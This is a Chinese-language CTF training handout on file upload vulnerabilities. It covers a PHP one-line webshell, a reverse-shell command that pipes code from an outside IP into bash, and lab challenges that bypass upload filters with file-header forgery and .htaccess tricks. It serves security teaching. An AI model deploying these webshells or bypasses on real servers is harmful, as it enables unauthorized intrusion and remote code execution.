【2023】XJUSEC春节培训--文件上传
一句话木马
简介
在很多的渗透过程中,渗透人员会上传一句话木马(Webshell)到目前web服务目录继而提权获取系统权限,不论asp、php、jsp、aspx都是如此。
基本应用为利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过工具即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST[‘attack’]表示从页面中获得attack这个参数值。
————————————————
版权声明:本文为CSDN博主「Tr0e」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_39190897/article/details/86772765
一句话木马实例
下面是最简单的一句话木马:
1 | <?php @eval($_POST['a']) ?> |
$_POST用来获取参数值
@eval()用于免报错代码执行
因此直接向该页面传参即可执行代码
详见靶机upload1
反弹shell:curl 110.40.136.140|bash
文件上传漏洞
简介
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。
1 | if (move_uploaded_file($temp_file, $img_path)){ |
详见靶机upload0
Challenge1-前端过滤
1 | <script> |
详见靶机Challenge1
解题思路:可使用burp更改文件后缀后再上传
Challenge2-后端过滤php
1 | if(preg_match("/php/i",$ext)){ |
详见靶机Challenge2
解题思路:寻找其他后缀或使用其他方法,正文需要其他可绕过的一句话
Challenge3-后端过滤php且检测文件头
1 | if(!getimagesize($file_name)){ |
详见靶机Challenge3
什么是文件头?
文件头是位于文件开头的一段承担一定任务的数据,一般都在开头的部分,描述一个文件的一些重要的属性。
图片类
文件类型 后缀 文件头 文件尾 标志 JPEG .jpg/.jpeg FFD8FF FFD9 JFIF PNG .png 89504E47 AE426082 PNG IEND IHDR GIF .gif 47494638 003B GIT9a TIFF .tif/.tiff 49492A00 4D4D2A00 - II MM 音频类
文件类型 后缀 文件头 文件尾 标志 WAVE .wav 52494646 - RIFF 压缩文件类
文件类型 后缀 文件头 文件尾 标志 ZIP Archive .zip 504B0304 - PK RAR Archive .rar 52617221 - RAR! 7Z Archive .7z 377ABCAF - 7z
解题思路:使用一像素图片+一句话转为其他后缀
Challenge4-后端过滤大量后缀但可更改解析方式
.htaccess文件是Apache服务中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以帮助我们实现:网页301重定向、自定义404错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能。
1 | $deny_ext = array(".php", ".php5", ".php4", ".php3", ".php2", ".php1", ".html", ".htm", ".phtml", ".pht", ".pHp", ".pHp5", ".pHp4", ".pHp3", ".pHp2", ".pHp1", ".Html", ".Htm", ".pHtml", ".jsp", ".jspa", ".jspx", ".jsw", ".jsv", ".jspf", ".jtml", ".jSp", ".jSpx", ".jSpa", ".jSw", ".jSv", ".jSpf", ".jHtml", ".asp", ".aspx", ".asa", ".asax", ".ascx", ".ashx", ".asmx", ".cer", ".aSp", ".aSpx", ".aSa", ".aSax", ".aScx", ".aShx", ".aSmx", ".cEr", ".sWf", ".swf", ".ini"); |
详见靶机Challenge4
解题思路:将php伪造为jpg之后再上传.htaccess文件将图片文件转为php解析
1 | AddType application/x-httpd-php .jpg |
Challenge5-.htaccess截断绕过后端检测
详见靶机Challenge5
1 | AddType application/x-httpd-ph |